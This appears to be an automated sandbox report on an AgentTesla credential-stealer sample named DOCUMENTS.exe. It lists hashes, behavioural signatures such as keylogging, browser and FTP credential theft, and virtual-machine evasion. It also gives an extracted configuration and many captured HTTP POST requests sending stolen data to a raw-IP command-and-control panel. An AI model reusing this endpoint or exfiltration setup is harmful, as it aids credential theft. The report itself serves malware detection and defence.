Windows Analysis Report DOCUMENTS.exe

Overview

General Information

Sample Name: DOCUMENTS.exe
Analysis ID: 483808
MD5: f93324854461139c58e0e865ceb3c859
SHA1: 3deeda7cea856d0d45ee83aeb23e000101623c32
SHA256: aaac6d698326e6fbbcd64057fbf591ef97bf143494ede008d41ab75e5a37db5a
Tags: exe
Infos:

Most interesting Screenshot:

Detection

AgentTesla
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected AgentTesla
Yara detected AntiVM3
Multi AV Scanner detection for dropped file
Installs a global keyboard hook
Initial sample is a PE file and has a suspicious name
Writes to foreign memory regions
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Tries to harvest and steal ftp login credentials
Modifies the hosts file
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Allocates memory in foreign processes
.NET source code contains potential unpacker
Found evasive API chain (trying to detect sleep duration tampering with parallel thread)
Injects a PE file into a foreign processes
.NET source code contains very large strings
Tries to steal Mail credentials (via file access)
Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)
Uses schtasks.exe or at.exe to add and modify task schedules
Tries to harvest and steal browser information (history, passwords, etc)
Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Antivirus or Machine Learning detection for unpacked file
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
Internet Provider seen in connection with other malware
Detected potential crypto function
Sample execution stops while process was sleeping (likely an evasion)
Yara detected Credential Stealer
Contains functionality to call native functions
Contains long sleeps (>= 3 min)
Enables debug privileges
Sample file is different than original file name gathered from version info
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Creates a window with clipboard capturing capabilities
Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Creates a process in suspended mode (likely to inject code)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

AV Detection:

barindex
Found malware configuration
Source: 0.2.DOCUMENTS.exe.a7c30b8.7.unpack Malware Configuration Extractor: Agenttesla {"Exfil Mode": "Http", "HTTP method": "Post", "Post URL": "http://161.129.64.49/webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php", "User Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0"}
Multi AV Scanner detection for submitted file
Source: DOCUMENTS.exe ReversingLabs: Detection: 17%
Multi AV Scanner detection for dropped file
Source: C:\Users\user\AppData\Roaming\ncXzBAPDBtn.exe ReversingLabs: Detection: 17%
Antivirus or Machine Learning detection for unpacked file
Source: 9.2.MSBuild.exe.400000.0.unpack Avira: Label: TR/Spy.Gen8

Compliance:

barindex
Uses 32bit PE files
Source: DOCUMENTS.exe Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE
Source: C:\Users\user\Desktop\DOCUMENTS.exe File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9445_none_d08c58b4442ba54f\MSVCR80.dll Jump to behavior
Source: DOCUMENTS.exe Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT

Networking:

barindex
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ASN-QUADRANET-GLOBALUS ASN-QUADRANET-GLOBALUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 460Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 460Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continueConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 668Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 3516Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 458Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
Source: global traffic HTTP traffic detected: POST /webpanel-dawn2/mawa/0fcd1ef3ebe94dad1463.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Content-Type: application/x-www-form-urlencodedHost: 161.129.64.49Content-Length: 456Expect: 100-continue
